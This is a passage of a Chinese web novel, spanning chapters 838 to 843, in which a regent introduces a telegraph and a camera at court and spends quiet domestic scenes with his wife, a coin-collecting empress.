两人就这样并肩坐在温暖的地毯上,背靠着软榻,一枚一枚地数着铜币。 低沉磁性的男声与娇软清脆的女声交织在一起,在宁静的夜晚显得格外温馨缱绻。 数到后面,慕容嫣干脆将身子歪倒,枕在林臻的腿上,继续举着铜币数,长长的青丝铺散在他深紫色的衣袍和墨色的凤袍拖尾之上。 林臻一边配合着她数数,一边空出一只手,有一下没一下地轻轻抚摸着她的长发,指尖穿梭在柔软的发丝间,带来阵阵舒适的暖意。 数了一遍又一遍,慕容嫣的声音渐渐带上了困倦的鼻音,数数的速度也慢了下来。 最终,她握着一枚铜币,手臂软软地垂落在拖尾之上,眼睫缓缓阖上,呼吸变得均匀绵长——竟就这样枕着林臻的腿,睡着了。 林臻停下动作,低头看着她恬静的睡颜,手中的铜币还带着她的体温。 他小心翼翼地抽出她手中那枚铜币,将它们连同锦囊轻轻放到一旁。 他没有立刻抱她上床,而是就这样静静地看着她。 睡着的她褪去了所有威仪,只剩下全然的安宁与依赖,长睫投下淡淡的阴影,唇角微弯,仿佛做着什么美梦。 那身象征至高权力的玄黑凤袍和一丈长的华丽拖尾,此刻仿佛只是她一件温暖的寝衣,包裹着她,衬托得她睡颜更加纯净。 窗外星辉静谧,窗内烛火温暖。 林臻俯下身,一个极轻极柔的吻,落在她光洁的额头上。 “晚安,我的女帝陛下。”他低声呢喃,声音里是无尽的珍爱,“我的嫣儿。” 夜还很长,而他们的岁月,正如这蜿蜒铺展的墨色拖尾,绵长而华美,望不到尽头。 第839章 大乾最耀眼的存在 寒冬清晨,天色未明,摄政王府却已灯火通明。 寝殿内,慕容嫣端坐在镜前,由侍女们悉心装扮。 今日并非寻常日子,乃是每月朔日大朝会之期。虽已将军政大事尽数交予林臻,但依照祖制与林臻的意思,她仍需偶尔临朝,以示皇权依旧,天下安泰。 故而,她再次换上了那身极致庄重的玄黑凤袍。墨色的缎料在无数烛火与电石灯的照耀下,泛着深沉而威严的光泽,其上以暗金丝线绣出的凤凰翱翔云海图案,随着她的呼吸微微波动,仿佛活物。 宽大的袖摆垂落,金线滚边,贵不可言。 而那长达一丈的拖尾,此刻正由四名侍女小心翼翼地平铺于身后,确保其每一寸褶皱都被抚平,每一道绣纹都显露出应有的华美。 林臻早已穿戴整齐。他今日未穿工装,而是一身绛紫色亲王蟒袍,玉带束腰,金冠绾发,英挺之余更添几分朝堂之上的尊贵与威仪。 他站在慕容嫣身后,看着镜中盛装之下容颜绝世、气场逼人的妻子,眼中满是欣赏与一丝不易察觉的骄傲。 “我的嫣儿,无论何时,都是这大乾最耀眼的存在。”他接过侍女手中的最后一支九尾凤凰金簪,亲自为她插入梳得一丝不苟的发髻正中。 慕容嫣从镜中回望他,唇角微扬,带着些许无奈与依赖:“夫君又打趣我。若非你坚持,我才不愿起这般早,穿这般重的衣裳去那冰冷的大殿。” 她微微动了动肩膀,感受着凤袍与头冠沉甸甸的重量, “哪有在府里数钱舒服。” 林臻轻笑,俯身在她耳边低语:“就当是去走个过场,让那些老臣们安安心。一切有我。” 他的气息温热,拂过她耳廓,带来一丝安慰与力量。 慕容嫣点了点头,深吸一口气,在侍女的搀扶下缓缓起身。那长达一丈的墨色拖尾随之移动,如同拥有生命般在光滑的地面上滑行,气势非凡。 金銮殿上,百官早已肃立。当殿外司礼太监高声唱喏“陛下驾到——摄政王驾到——”时,众臣齐齐跪伏山呼万岁。 慕容嫣在林臻的陪同下,一步步踏上玉阶,走向那高高在上的龙椅。凤袍拖尾在身后迤逦而行,掠过冰冷的金砖地面,发出庄重的摩挲声。 她仪态万方地落座,林臻则立于龙椅之侧,略靠前的位置。 “众卿平身。”慕容嫣开口,声音清冷平稳,带着惯有的威仪,目光平静地扫过下方百官。 “谢陛下!”百官起身,分列两旁。 朝会开始,各部大臣依次出列奏事。 内容大多关乎新政推行、工坊建设、铁路勘探、税收财政等,皆是工业革命带来的新事务。 慕容嫣端坐其上,面容平静,看似认真聆听,实则多数术语听得云里雾里。 她只需保持威仪,偶尔在林臻眼神示意下,淡淡颔首或吐出“准奏”、“依议”等字眼即可。 真正的决策,皆来自立于她身侧的林臻。 他时而凝神细听,时而发问切中要害,时而给出明确指示,思维敏捷,决策果决,引得众臣频频颔首称是。整个朝堂的重心,无形中已完全倾斜于他。 慕容嫣的目光,大多时候落在林臻侧脸上。看着他专注而自信的模样,看着他掌控全局的从容,她心中便充满了安心与自豪。 只是那身繁重的朝服和坚硬的龙椅,实在让她坐得有些腰背酸涩。她不着痕迹地微微调整了一下坐姿,宽大袖摆下的手轻轻捏了捏藏在里面的、印着自己头像的一枚铜币,仿佛这样才能汲取些许耐心。 工部尚书出列,奏报关于筹建“电报局”之事。 此乃林臻提出的又一新奇构想,言称可利用电流瞬息传递讯息于千里之外,较八百里加急快上无数倍。 此言一出,不仅部分老臣面露疑色,连慕容嫣也微微蹙起了秀眉。电流?传递讯息?这听起来比那蒸汽火车还要玄乎,简直如同法术一般。 她难以想象,一根铜线如何能比骏马更快地传递消息。 林臻正详细解释着原理与规划,目光扫过龙椅,看到了慕容嫣眉宇间那一丝不易察觉的困惑与抵触。 他心中了然,他的女帝陛下对于这些过于超越时代认知的事物,接受起来总需要一個过程,从最初的蒸汽机到火车,莫不如此。 他并未强迫她立刻理解,而是适时地结束了这个话题,语气沉稳:“此事关乎国政机密与重大投入,具体细节容后再议。先行勘探规划,待方案成熟再行禀报。” 工部尚书心领神会,恭敬退下。 慕容嫣闻言,微蹙的眉头悄然舒展。她不懂,但她信任林臻。既然夫君说容后再议,那便无需她此刻烦恼。她只需继续保持端庄姿态即可。 又议了几件事,朝会终于接近尾声。慕容嫣只觉得头冠沉重,脖颈酸涩,那长达一丈的拖尾也仿佛有千斤重。她悄悄向林臻投去一个略带疲惫和求助的眼神。 林臻立刻会意,上前一步,面向百官,沉声道:“陛下乏了,今日便到此为止。诸卿若有本,可送至摄政王府书房。” “退朝——”司礼太监高声唱道。 百官再次跪伏恭送。 慕容嫣暗暗松了口气,在林臻的虚扶下起身,仪态依旧完美地转身,一步步走下玉阶。那墨色凤袍与一丈拖尾再次成为全场的焦点,缓缓移向殿外。 一离开百官视线,踏上返回王府的马车,慕容嫣立刻像是被抽走了所有力气,软软地靠进铺着厚软垫子的车厢里,抱怨道:“累死我了…这朝会比数一万个铜币还累人…” 林臻笑着坐到他身边,熟练地帮她取下沉重的头冠,又伸手到她颈后,不轻不重地揉捏着,为她缓解酸痛:“辛苦我的嫣儿了。不是说了么,只是走个过场。” 慕容享受着他的按摩,舒服地眯起眼睛,像只被顺毛的猫咪。她忽然想起朝堂上的事,好奇地问:“夫君,那个‘电报’,当真那般神奇?比千里马还快?” “原理上确实如此。”林臻耐心解释,“等建成一试,你便知道了。届时第一个给你看。” 慕容嫣将信将疑,但看着夫君笃定的眼神,还是点了点头:“好吧…反正夫君弄出来的东西,总是有用的。”她顿了顿,小声补充,“就是…听起来有点吓人…” 林臻被她这略带怯意的模样逗笑,忍不住低头亲了亲她的额头:“不怕,有我在。” 回到王府,慕容嫣立刻迫不及待地换下了那身沉重无比的朝服,但并未换上常服,而是换了一身相对轻便些的、同样玄黑色但绣纹略简、拖尾依旧保持一丈长度的宫装长裙,这才觉得浑身轻松自在。 她赤足踩在温暖的地毯上,看着侍女们将那身朝服凤袍小心收好,长舒一口气:“还是家里舒服。” 她转身,很自然地走向正在看电报草图林臻,从身后环住他的腰,脸颊贴在他宽阔的背上,“夫君,下次朝会,能不能再隔久一点?” 林臻放下图纸,握住她环在自己腰前的手,轻笑:“好,都依你。” 窗外寒风依旧,室内温暖如春。朝堂上的波谲云诡与新奇莫测的科技,似乎都被隔绝在外,只剩下相依的温暖与平淡的甜蜜。 第840章 照相机 时节已入深冬,檐角挂上了晶莹的冰凌,呵气成霜。每月朔日的大朝会如期而至,摄政王府内,慕容嫣再次迎来了需盛装出席的时刻。 寝殿内暖意融融,地龙烧得极旺,驱散了窗外凛冽的寒气。数名侍女正围着慕容嫣,为她穿上那身庄重至极的玄黑凤袍。 墨色的云锦厚重而挺括,其上用暗金、赤金、捻银等多种丝线绣出的凤凰与云霞纹样,在灯火下流光溢彩,华贵不可方物。 宽大的袖摆层层叠叠,金线滚边,雍容大气。 而那长达一丈的拖尾,此刻正由两名侍女一左一右,极其小心地将其完全展开、抚平,确保其上繁复精美的刺绣无一错漏,每一寸都闪耀着应有的光辉。 这拖尾以玄黑为底,用金银线绣出大片的缠枝莲纹和凤凰尾羽的图案,边缘缀以细小的珍珠作为点缀,沉重无比,也华丽至极。 林臻已穿戴好亲王蟒袍,正站在一旁,手中把玩着一件巴掌大小、造型奇特的金属物件,似乎在检查什么。 见慕容嫣穿戴完毕,他走上前,将手中之物暂且收起,从侍女手中接过那顶沉甸甸的、缀满东珠与宝石的九龙九凤冠,亲自为她戴好,仔细端详。 镜中的女子,容颜绝世,凤仪天成,在极致华服的衬托下,威仪迫人,令人不敢直视。 “我的嫣儿,每次这般打扮,都让人移不开眼。”林臻低声赞叹,指尖轻轻拂过她冠冕下垂落的珍珠流苏。 慕容嫣却微微蹙了蹙描画精致的黛眉,小声抱怨:“重死了…夫君,非得每月都去么?” 她微微动了动脖颈,感觉那凤冠仿佛有千斤重。 林臻轻笑,替她理了理冠冕下的绦带:“乖,最后一次。年后便改规制,若非必要大典,你无需再临朝了。” 他这话并非虚言,朝政体系在他主导下已日趋成熟稳定,慕容嫣的象征意义大于实际需求。 慕容嫣闻言,眼睛顿时一亮,仿佛看到了解脱的曙光,连带着对即将到来的朝会也多了几分忍耐。 金銮殿内,炭盆烧得再旺,也难驱散这座宏大石木建筑固有的森严寒气。 百官肃立,静候圣驾。 “陛下驾到——摄政王驾到——” 唱喏声落,慕容嫣在林臻的陪同下,再次步入大殿,踏上玉阶,端坐于龙椅之上。 那长达一丈的墨色拖尾在她身后迤逦而行,滑过冰冷光滑的金砖地面,无声地宣示着皇权的威严与华贵。她面容平静,目光淡扫下方,将女帝的威仪维持得恰到好处。 林臻依旧立于龙椅之侧,身形挺拔,目光沉静地扫视群臣。 朝议开始,依旧是各项新政推进的汇报。漕运改海运的利弊、新式纺织工坊的产能、铁路勘探的进度…一项项议题呈报上来,林臻或询问细节,或做出决断,条理清晰,洞见深刻。 慕容嫣大多时候只是静静听着,偶尔在林臻眼神示意下,淡淡颔首,吐出“准”、“可”等字眼。 一切似乎与往常并无不同。 直到工部一位负责格物院的官员出列,躬身奏道:“启奏陛下,殿下。臣等奉殿下之命,研习那‘光学’、‘化学’之理,近日略有所得,仿制出了殿下所描述的‘照相机’之初代样机,虽仍粗糙,已可勉强成像。恳请陛下与殿下御览。” “照相机?”慕容嫣心中微讶,这是个她从未听过的新词。她下意识地看向身侧的林臻。 林臻眼中闪过一丝兴趣,点头道:“呈上来。” 很快,两名内侍抬着一个蒙着黑布的木箱状物件,小心翼翼地步上玉阶,将其放置在御案前不远处。那物件看着颇为笨重,前面有一个突出的铜制镜头,后面连着一个暗箱。 百官皆好奇地伸颈观望,窃窃私语。 慕容嫣也微微前倾了身子,凤眸中流露出疑惑。这便是夫君之前偶尔提过的,能留下人影像的机器? 林臻走下玉阶,来到那相机旁,对那工部官员吩咐了几句。 官员紧张地点头,开始操作那笨重的机器,调整着镜头和后面的暗盒。 片刻后,林臻转身,面向慕容嫣,微微一笑:“嫣儿,看这里,稍坐稳片刻,莫动。” 慕容嫣虽不明所以,但对林臻是全然的信任,依言端坐不动,目光望向他…以及他身后那个古怪的机器。 只见那工部官员猛地掀开镜头前的一块黑布,又迅速盖上。机器发出轻微的“咔嚓”声。 “好了。”林臻道。 这就好了?慕容嫣愈发疑惑。她什么都没感觉到,那机器似乎也没发生什么变化。 林臻走回她身边,对工部官员道:“即刻去将‘相片’显影出来。” “臣遵旨!”官员激动又紧张地退下。 朝会继续,但慕容嫣的心思却有些飘远了。那古怪的机器,夫君说的“留下影像”,听起来玄乎其玄,甚至…让她隐隐有些不安。 将那瞬间的形貌留住,这听起来近乎法术,而非格物之理。她不禁微微攥紧了龙袍袖摆下的手。 约莫半个时辰后,先前那工部官员去而复返,手中捧着一个木盘,盘上放着一张纸,步履激动得甚至有些踉跄。他跪倒在玉阶下,高高举起木盘:“陛下,殿下,成像…成像成功了!” 林臻示意内侍将木盘接过,呈至御案上。 慕容嫣好奇地望去,只见那张纸上,竟真的呈现出一幅黑白灰的、有些模糊却清晰可辨的图像——正是方才端坐于龙椅之上的她! 头戴凤冠,身穿玄黑凤袍,面容肃穆,威仪天成,连那长达一丈的拖尾铺展在玉阶上的部分轮廓都被捕捉了下来! “这…!”慕容嫣惊得微微吸了口气,美眸圆睁,下意识地摸了摸自己的脸。这图像竟与她如此相似,却又如此冰冷陌生,仿佛将她的魂魄截取了一瞬,封存于这纸片之上! 一种难以言喻的、混合着惊奇与些许畏惧的情绪涌上心头。 这比蒸汽机、火车甚至电报,都更让她感到一种触及本源的震撼与不适。 林臻拿起那张“相片”,仔细看了看,满意地点点头:“虽粗糙,神韵已具。格物院有功,重赏。” 他看向慕容嫣,眼中带着笑意与期待,“嫣儿,你看,这便是照相之术。如何?” 慕容嫣看着那纸片上清晰的自己,又抬头看看林臻,红唇微张,半晌才找回自己的声音,带着一丝不易察觉的轻颤:“…甚为…神奇。只是…”她微微蹙眉, “…竟能将人影摄入这纸中,未免有些…有些骇人。” 她用的是“骇人”一词,显见内心冲击之大。 林臻了然。这对于一个从小接受传统观念的人来说,确实需要时间适应。 他并未强求她立刻接受,只是将相片轻轻放回盘中,温和道:“此乃格物妙理,并非法术,日后你便明白了。今日初次成像,能得嫣儿如此清晰影像,已是意外之喜。” 他挥了挥手,内侍将相片撤下。 慕容嫣松了口气,但那双眼睛却还忍不住瞟向相片消失的方向,心绪难平。 朝会终于在慕容嫣有些神思不属的状态下结束。 一回王府,她立刻迫不及待地卸下那身沉重朝服,换上了一丈拖尾的玄黑常服宫装,才觉得呼吸顺畅了许多。 她坐在暖榻上,捧着热茶,却还在想着那纸片上的影像,忍不住问正在看显影药水配方的林臻:“夫君,那…相片,当真无妨吗?不会…摄人魂魄?” 林臻放下纸张,坐到她身边,将她揽入怀中,笑道:“傻嫣儿,那只是光影留下的痕迹,与你照镜子无异,怎会摄人魂魄?日后我让他们改进得清晰些,多给你照几张,你便习惯了。” 慕容嫣将信将疑地靠在他怀里,小声嘟囔:“还是铜币上的画像看着踏实…” 林臻大笑,亲了亲她的发顶:“好,那便还是数铜币。至于那相机,你若不喜,我们便不玩了。” 慕容嫣在他怀里沉默了一会儿,却轻轻摇了摇头:“夫君喜欢的…东西,总有道理。我…我慢慢看便是。” 她虽心有忐忑,却依旧选择信任与尝试去理解。 林臻心中温暖,搂紧了她:“嗯,慢慢来。” 窗外冬日晴好,室内温暖如春。新技术带来的小小波澜,很快便消融在相依的温情与全然的信任之中。 第841章 再见林震仙 午后阳光透过暖阁的玻璃窗,在地毯上投下斑驳的光影。 室外寒气依旧,室内却因着地龙与暖炉,温暖得只需穿着单衣。 慕容嫣今日并未选择那身极致庄重的朝服凤袍,而是换了一身相对轻便的居家长裙。 裙装依旧是她偏爱的玄黑色,用料是顶级的软缎,触感柔滑,光泽内敛。款式虽简化了许多,但依旧保留了皇家的气度。 衣襟、袖口与裙摆处,以暗金丝线绣着精致的缠枝莲纹与简化凤纹。而最为重要的,那长达一丈的拖尾依旧得以保留,只是用料同样轻软了许多,此刻正如同墨色流水般,蜿蜒逶迤在暖阁厚软的波斯地毯之上,随着她偶尔的动作,泛着细微的光泽。 她赤着双足,蜷腿坐在一张宽大的矮榻上,身前放着一个敞开的紫檀木匣,里面并非奏章,而是她心爱的收藏——各式各样、新旧不一的铜币,以及几张作为样板的纸币。 她正一枚一枚地拿起,对着光仔细欣赏把玩,神情专注得仿佛在鉴赏什么绝世珍宝。 林臻则坐在她身旁不远处的一张摇椅里,手里拿着一份关于电报线路铺设进度的报告,却并未细看,而是嘴角含笑地看着慕容嫣那副财迷模样,眼中满是宠溺。 “夫君你看,”慕容嫣忽然拿起一枚看起来有些年头的铜币,递到林臻眼前,“这枚是最早那批的,我的头像边角这里,好像有一点点没铸平整呢。” 她像是发现了什么了不得的秘密,语气带着点小得意。 林臻配合地接过,仔细看了看,点头:“嗯,确实。那时候冲压机床刚弄出来,精度是差了些。还是我家嫣儿眼力好。” 他说着,很自然地将那枚铜币揣进了自己衣兜, “这枚有纪念意义,归我了。” “哎?”慕容嫣一愣,随即嘟起唇,伸手去他衣兜里掏,“那是我先发现的!还给我!” 林臻笑着握住她捣乱的手,不让她得逞:“陛下富有四海,还在乎这一枚小钱?” “在乎!”慕容嫣理直气壮,试图挣脱他的手去抢,“那不一样!快还我!” 两人正笑闹着,暖阁外忽然传来管家略显急促却恭敬的通报声:“王爷,娘娘,老王爷过来了!” 慕容嫣和林臻皆是一怔。 林震仙早已不理俗务,常年居于王府别院修身养性,极少到主院来,更别说这般不打招呼直接过来。 慕容嫣立刻收敛了嬉闹的神色,下意识地整理了一下衣襟和发丝。林臻也松开了她的手,起身道:“快请。” 话音未落,暖阁的门已被推开。一位身着藏青色锦袍、须发皆白却精神矍铄、身形挺拔的老者迈步而入,正是林震仙。 他虽已交权多年,但久居上位的威仪犹在,目光扫过室内,自带一股不容忽视的气场。 慕容嫣见状,立刻从矮榻上起身。她并未因穿着常服而有所怠慢,神色端庄,仪态恭谨。她微微上前一步,双手交叠于身前,对着林震仙,规规矩矩地屈膝行了一个标准的家礼:“孙媳慕容嫣,问祖父安。” 她行礼时,身形微蹲,那长达一丈的玄黑裙裾拖尾随之在身后地毯上铺展开一个优美的扇形弧度,墨色软缎上的暗金绣纹在阳光下流转,既显恭顺,又不失一国女帝的雍容气度。 林臻也躬身行礼:“祖父。” 林震仙的目光首先落在慕容嫣身上,尤其是她身上那件虽为常服却依旧华贵、并带着一丈拖尾的裙装,以及她行云流水般标准又不失威仪的礼节,眼中闪过一丝不易察觉的满意。 他微微颔首:“不必多礼。老夫闲来无事,随处走走,没打扰你们小两口吧?” 他的声音洪亮,中气十足。 “祖父说的哪里话,您能来,我们高兴还来不及。”林臻笑着上前,扶住祖父的手臂,引他到主位坐下。 慕容嫣也直起身,走到一旁亲自为林震仙斟上一杯热茶,双手奉上:“祖父请用茶。” 姿态落落大方,无可挑剔。 林震仙接过茶盏,目光扫过矮榻上那敞开的、装满钱币的木匣,又看了看慕容嫣那双赤着的、踩在地毯上的玉足,以及儿子那带着笑意的眼神,心中已是明了方才小两口在做什么。 他眼底掠过一丝笑意,面上却不动声色,只吹了吹茶沫,啜饮一口。 “近来朝中无事?”林震仙放下茶盏,随口问道,目光却看向林臻。 “劳祖父挂心,一切安好,新政推行顺利。”林臻恭敬回答,言简意赅。 “嗯,”林震仙点了点头,又看向慕容嫣,“陛下气色不错,看来臻儿将你照顾得很好。” 慕容嫣微微颔首,唇角带着得体的微笑:“夫君待我极好,祖父放心。” 她在外人面前,依旧是那位威仪的女帝,只有在最亲近的人面前,才会露出小女儿情态。 林震仙嗯了一声,似乎一时也无话。 暖阁内气氛略显安静,只有地龙暖气嘶嘶的轻微声响。 慕容嫣心思微转,忽然对林臻道:“夫君,昨日格物院不是呈上来几样新制的奶糖?味道甚好,去取些来给祖父尝尝可好?” 她这是想支开林臻,单独与公公说几句话。 林臻会意,点头起身:“好,我这就去取。” 待林臻离开,暖阁内只剩下慕容嫣与林震仙。 慕容嫣再次为公公添了热茶,姿态娴雅地在一旁坐下,那墨色的拖尾自然铺陈在脚边。 林震仙看着她,忽然开口道:“陛下如今不理政务,整日在这府中,可会觉得闷?” 慕容嫣微微一笑,笑容真诚而满足:“回祖父,并不会。看看书,养养花,数数…呃,打理些琐事,日子很是惬意。外面的事有夫君操持,我很放心。” 她差点脱口而出“数数钱”,幸好及时改口。 林震仙何等人物,自然看出了她那瞬间的卡顿和微红的脸颊,又瞥了一眼那装钱币的匣子,心中暗笑,面上却依旧严肃:“如此便好。臻儿性子跳脱,主意多,有时行事难免激进,还需陛下从旁多看顾提点些。” “祖父言重了。”慕容嫣正色道,“夫君所思所想,皆是为国为民,深远透彻,儿媳…钦佩不已,唯有支持,何来提点。”她这话说得真心实意,眼中对林臻的信任与崇拜毫不掩饰。 林震仙看着她的眼睛,片刻后,缓缓点头,脸上终于露出一丝真正的笑意:“好,好。你们夫妻和睦,互相扶持,我便放心了。” 这时,林臻端着一碟造型精巧、包装新颖的奶糖回来了。他察觉到屋内气氛似乎更为融洽,笑着将糖碟放在祖父面前:“祖父尝尝,这是新方子制的,加了牛乳,更香甜些。” 林震仙拈起一块放入口中,慢慢咀嚼,点了点头:“嗯,不错,比以前的饴糖细腻多了。”他站起身,“行了,糖也吃了,茶也喝了,老夫也该回去了,不耽误你们小两口了。” 林臻和慕容嫣连忙起身相送。 送至暖阁门口,林震仙忽然停下脚步,回头看了看慕容嫣身上那件带着一丈拖尾的常服,又看了看儿子,意味深长地说了一句:“这衣裳…挺好。在家穿着,自在。” 说完,便朗笑着大步离去。 慕容嫣微微一愣,随即明白公公怕是早已看穿她的小爱好,脸颊不禁微微泛红。 林臻笑着揽住她的肩,将她带回温暖的暖阁内:“祖父这是夸你呢。” 慕容嫣靠在他怀里,看着地毯上那蜿蜒的墨色拖尾,小声嘟囔:“…反正,我就是喜欢。” “喜欢就好。”林臻低头,亲了亲她的发顶,“我的女帝陛下,在家自然想穿什么就穿什么,想做什么就做什么。” 阳光温暖,岁月静好。家常的闲趣,翁婿的偶至,为这甜蜜的日常更添了一分温馨与踏实。 第842章 红袖添香 腊月深冬,夜幕早早便笼罩了京城。细雪悄然而至,纷纷扬扬,如琼碎玉屑,无声地覆盖了摄政王府的亭台楼阁、虬枝枯藤,将整个世界装点得一片素洁清冷。 然而王府主寝殿内,却是另一番温暖景象。 地龙烧得极旺,数个鎏金兽首铜炭盆也散放在角落,吐出融融暖意,将严寒彻底隔绝在外。 殿内灯火通明,数盏新式的电石灯将室内照得亮如白昼,光线柔和而稳定,远胜从前摇曳的烛火。 慕容嫣并未早早安寝。她穿着一身玄黑色的软缎常服宫裙,衣裙的款式较白日更为宽松舒适,但依旧不失皇家气度。 墨色的缎料柔软地贴合着她的身形,在明亮的灯光下泛着如水般的光泽。 衣领袖口处以暗金丝线绣着细密的云纹,简约而精致。 那一丈长的拖尾并未省略,此刻正如同一条温顺的墨色灵蛇,蜿蜒逶迤在殿内厚厚的长毛地毯之上,随着她偶尔的移动,软缎的流光与地毯的绒面相映,静谧而华美。 她并未坐在梳妆台前或软榻上,而是搬了一张铺着软垫的绣墩,坐在了林臻的书案旁。 书案之上,堆积着不少文书与图纸,林臻正执着一支自来水笔,时而翻阅,时而疾书,处理着一些白日未尽的公务。 跳跃的电石灯光落在他轮廓分明的侧脸上,投下专注的阴影。 慕容嫣则安安静静地陪在一旁。 她面前也放着一本账册和一小碟蜜饯,但她并未像往常那般投入地计算数目,而是时不时抬起眼眸,看看身旁专注的夫君,又或者起身,执起小银壶,为他手边已空了一半的茶盏续上热茶。 “夫君,歇会儿吧。”见林臻揉了揉眉心,慕容嫣轻声开口,将一枚去核的蜜枣递到他唇边,“雪夜寒重,喝点热茶暖暖。” 林臻从沉思中回神,很自然地张口接了那枚甜软的蜜枣,顺势握住她递茶的手,指尖传来她肌肤的温软细腻。 “还好有嫣儿在一旁红袖添香,不然这雪夜枯坐,着实无趣得紧。”他笑着,就着她的手喝了一口热茶,茶香氤氲,带着她指尖淡淡的馨香。 慕容嫣唇角微弯,任由他握着手,另一只手拿起丝帕,轻轻替他拭去唇角并不存在的茶渍:“尽是胡说。我不过是闲着无事,在一旁打扰你罢了。” 话虽如此,她眼中却满是被人需要的暖意。 “怎会是打扰?”林臻放下笔,索性将她也揽到身边,让她半靠着自己,“有你在,我便觉得安心,处理这些琐事也快些。” 慕容嫣顺势依偎在他身侧,目光落在书案那些绘着复杂机械结构的图纸上,好奇问道:“夫君又在琢磨什么?是那电报机,还是那照相机?” 经过上次朝会,她对这两个新物事的名字总算记住了。 “都不是。”林臻拿起其中一张图纸,指给她看,“是在改进蒸汽机的锅炉压力控制阀。现有的阀门不够精准,效率和安全都受影响。” 图纸上那些复杂的线条和符号,慕容嫣看得一知半解,但她能感受到林臻谈及此事时的认真与热情。她似懂非懂地点点头:“听起来很要紧。那夫君定要仔细些,莫要出了差错。” 她对于这些能带来“钱”和“安稳”的技术,总是抱有极大的支持,尽管其原理她并不甚明了。 “放心,已有眉目了。”林臻自信一笑,放下图纸,目光落在她铺陈在地毯上的那丈长墨色拖尾,忽然起了些玩心。 他俯身,从笔架上取下一支未蘸墨的干净小毫,用笔杆的末端,轻轻在那柔软的拖尾缎面上划过。 细腻的笔杆掠过光滑的缎面,带来一阵细微而奇异的触感。 慕容嫣微微一颤,讶异地回头:“夫君做什么?” “试试这缎子滑不滑。”林臻低笑,又用笔杆在她拖尾上那精致的暗金绣纹上轻轻勾勒,“嗯,果然是好料子,笔墨行走其上,流畅无阻。” 慕容嫣被他这孩子气的举动逗笑,嗔道:“好好的衣裳,倒成了你的画纸了?快别闹。” 说着,她轻轻将那拖尾往回拢了拢,动作间带着自然的娇憨。 林臻却捉住她收回拖尾的手,连人带拖尾一起轻轻揽回怀里,下巴抵着她的发顶,声音低沉而温暖:“好,不闹。那嫣儿给我念段话本可好?眼睛有些乏了。” 慕容嫣最是受不住他这般带着些许疲惫的依赖语气,立刻便软了下来,从他书案一角拿起一本她平日翻看的话本小说,调整了下姿势,让他靠得更舒服些,然后清了清嗓子,用她清越而带着一丝慵懒的嗓音,缓缓念起一段才子佳人的风月故事。 她的声音在温暖的殿内缓缓流淌,与窗外簌簌的落雪声交织在一起,一个娇软,一个清寂,构成奇妙的和谐。 林臻闭着眼,听着她的声音,鼻尖萦绕着她发间的清香和殿内温暖的炭火气,只觉得连日的疲惫渐渐消散。 念了一会儿,慕容嫣感觉靠着她的人呼吸变得均匀绵长,低头一看,林臻竟不知何时已靠在她肩头睡着了。 烛火下,他英挺的眉宇舒展开来,带着一丝难得的全然放松。 慕容嫣立刻放低了声音,直至无声。 她小心翼翼地维持着姿势,不敢动弹,生怕惊醒了他。 她低头,静静凝视着夫君熟睡的容颜,目光温柔得能滴出水来。 殿外雪落无声,殿内温暖如春。 唯有电石灯燃烧时发出的极其细微的嘶嘶声,以及两人清浅的呼吸声。 那长达一丈的墨色拖尾,一半被她坐在身下,一半铺展在林臻的腿边,如同一条温暖的墨毯,覆盖着相依的两人。 许久,慕容嫣才极轻极轻地动了动有些发麻的肩膀,试图换个姿势让他睡得更舒服些。却不料这细微的动作还是惊醒了林臻。 他睁开眼,眼中有一瞬间的迷茫,随即化为清醒与暖意:“我睡着了?压着你了?”他立刻坐直身子,伸手去揉她的肩膀。 “没有。”慕容嫣摇摇头,按住他的手,“夫君若是乏了,便早些歇息吧。” 林臻看了看窗外依旧纷扬的雪,又看了看身旁人儿关切的眼神,笑了笑,从善如流地合上了案上的文书:“好,听嫣儿的,今夜不看了。” 他站起身,然后极其自然地向慕容嫣伸出手。慕容嫣将手放入他掌心,借力起身。那丈长的拖尾随之而动,在地毯上滑过。 林臻并未松开手,反而就着牵手的姿势,微微一用力,将她打横抱了起来。 “呀!”慕容嫣轻呼一声,下意识地搂住他的脖颈,“夫君?” “雪夜路滑,”林臻说得一本正经,抱着她走向寝殿深处的拔步床,“为夫抱陛下安寝。” 慕容嫣将泛红的脸颊埋入他颈间,听着他沉稳的心跳,嘴角无声地扬起。 温暖的殿内,墨色拖尾的最后一段曳过地毯,悄然消失在重重帷幔之后。 窗外,雪依旧静静地下着,守护着这一室的温情与静谧。 第843章 一个花瓶 寅时刚过,天色墨黑,寒气刺骨。摄政王府却已灯火通明,仆从们屏息静气,步履匆匆却有序。 寝殿内,熏香袅袅,温暖如春。慕容嫣立于巨大的水银镜前,宛如一尊即将降临人间的神女塑像,正由十数名经验老到的宫女伺候着,穿上那身极致繁复、象征大乾最高权柄的玄黑凤袍朝服。 袍服以最顶级的玄色云锦为底,其上用赤金、捻银、孔雀羽线等十数种珍贵丝线,由上百绣娘耗费数月绣出九凤朝阳、日月山河的盛大图景,华贵沉重至极。?最为醒目的,是那长达三丈的拖尾,此刻正由八名宫女合力托起、展开、抚平,其上密布的精致刺绣在烛火与电石灯下流光溢彩,几乎铺满了小半个寝殿的地面。 ?而新制的喇叭袖,袖口极宽,层层叠叠,以金线滚边,绣着繁复的云雷纹,垂落时几近地面,行动间如墨云翻涌,气势磅礴。 九凤冠被缓缓戴上,东珠、宝石与金饰的重量让她不得不微微昂起下巴,以维持仪态。镜中的她,容颜被极致的华贵与威严所包裹,美得令人窒息,却也尊贵得令人不敢直视,仿佛一切情绪都被这身朝服隔绝在外。 林臻早已穿戴整齐。他今日亦是一身绛紫亲王蟒袍,金玉带,蟠凤冠,身姿挺拔,英气逼人,立于她身后,目光沉静地审视着镜中影像,确保无一疏漏。 “我的嫣儿,今日气象万千。”他上前一步,亲手为她正了正冠冕上垂下的珍珠流苏,声音低沉平稳。 慕容嫣透过镜面看着他,努力想扯出一个笑容,却被沉重的头冠和朝服束缚着,只微微动了动唇角:“重…太重了…” 声音里带着一丝不易察觉的委屈和依赖。这身朝服,于她而言,更像是精美却沉重的枷锁。 “忍一忍,很快便好。”林臻安抚地捏了捏她藏在宽大喇叭袖下的指尖,随即转身,沉声道,“起驾,入宫。” 銮驾威严,仪仗煊赫,穿过黎明前最深的黑暗,直抵皇城。 太和殿内,金砖墁地,蟠凤金柱高耸。百官依品阶肃立,鸦雀无声,空气中弥漫着庄严肃穆的气息。 当司礼太监尖细高昂的“陛下驾到——摄政王驾到——” 唱喏声响起时,众臣齐刷刷跪伏在地,山呼海啸般的“万岁”声震殿宇。 慕容嫣在林臻的虚扶下,一步步踏上那高高的丹陛。 